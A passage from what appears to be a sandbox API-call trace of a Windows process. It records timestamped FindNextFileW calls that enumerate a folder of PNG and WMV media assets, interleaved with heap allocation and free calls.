0x2e8f80 [0066.997] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.997] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xab3, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0066.997] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0066.997] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0066.997] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0066.998] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0066.998] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0066.998] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0ad40 [0066.998] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0066.998] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0d0a8 [0066.998] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0bfd0 [0066.998] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0066.998] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0066.998] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0066.998] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0066.998] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0066.998] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0066.998] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0066.998] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0d0c8 [0066.998] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0c0d8 [0066.998] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0066.998] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7287ed72, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7287ed72, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60f, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-mask.png", cAlternateFileName="")) returned 1 [0066.998] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0066.998] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0066.998] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0066.998] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0066.998] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0066.998] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0d0e8 [0066.998] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0c1e0 [0066.999] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0066.999] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72832ab8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72832ab8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4c15, dwReserved0=0x0, dwReserved1=0x0, cFileName="babypink.png", cAlternateFileName="")) returned 1 [0066.999] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0066.999] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0066.999] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0066.999] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0066.999] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0066.999] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0d108 [0066.999] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0c2e8 [0066.999] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0066.999] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728a4ecf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728a4ecf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcc1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0066.999] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0066.999] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0066.999] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0066.999] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0066.999] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0066.999] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0d128 [0066.999] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0c3f0 [0066.999] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0066.999] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728cb02c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728cb02c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fe5c4f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c432, dwReserved0=0x0, dwReserved1=0x0, cFileName="bear_formatted_matte2.wmv", cAlternateFileName="")) returned 1 [0066.999] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0066.999] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0066.999] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0066.999] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0066.999] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0d148 [0067.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0c4f8 [0067.000] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.000] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728f1189, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728f1189, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a058069, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bear_Formatted_MATTE2_PAL.wmv", cAlternateFileName="")) returned 1 [0067.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.000] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.000] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0d168 [0067.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0c600 [0067.000] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.000] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729172e6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729172e6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a351bc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39ef2, dwReserved0=0x0, dwReserved1=0x0, cFileName="bear_formatted_rgb6.wmv", cAlternateFileName="")) returned 1 [0067.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.000] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.000] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0d188 [0067.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0c708 [0067.000] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.000] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729635a0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729635a0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x41c0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bear_Formatted_RGB6_PAL.wmv", cAlternateFileName="")) returned 1 [0067.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.000] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.001] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0d1a8 [0067.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0c810 [0067.001] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.001] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729af85a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729af85a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0067.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.001] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.001] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0d1c8 [0067.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0c918 [0067.001] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.001] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729af85a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729af85a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0067.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.001] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.001] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0d1e8 [0067.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0ca20 [0067.001] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.002] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xe0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0067.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0d208 [0067.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0cb28 [0067.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.002] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a39de7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x75d, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0067.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0d228 [0067.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0d548 [0067.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.002] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a39de7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x55f, dwReserved0=0x0, dwReserved1=0x0, cFileName="chapters-static.png", cAlternateFileName="")) returned 1 [0067.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0d248 [0067.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0d650 [0067.003] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.003] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729fbb14, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729fbb14, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4aba6851, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8df12, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-background.png", cAlternateFileName="")) returned 1 [0067.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.003] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.003] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0d268 [0067.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0d758 [0067.003] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.003] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a47dce, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a47dce, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b362f69, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-foreground.png", cAlternateFileName="")) returned 1 [0067.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.003] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.003] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0d288 [0067.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0d860 [0067.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0xc00) returned 0xa11530 [0067.003] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fa458) returned 1 [0067.004] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.004] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a6df2b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a6df2b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b362f69, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb8c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="curtains.png", cAlternateFileName="")) returned 1 [0067.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.004] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.004] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0d2a8 [0067.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0d968 [0067.004] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.004] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b52759, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b52759, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b3fb4e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12d98, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_precomp_matte.wmv", cAlternateFileName="")) returned 1 [0067.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.004] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.004] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0d2c8 [0067.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0da70 [0067.004] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.004] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b52759, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b52759, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b3fb4e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x14cd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_PreComp_MATTE_PAL.wmv", cAlternateFileName="")) returned 1 [0067.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.004] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.004] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0d2e8 [0067.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0db78 [0067.005] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0067.005] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b788b6, 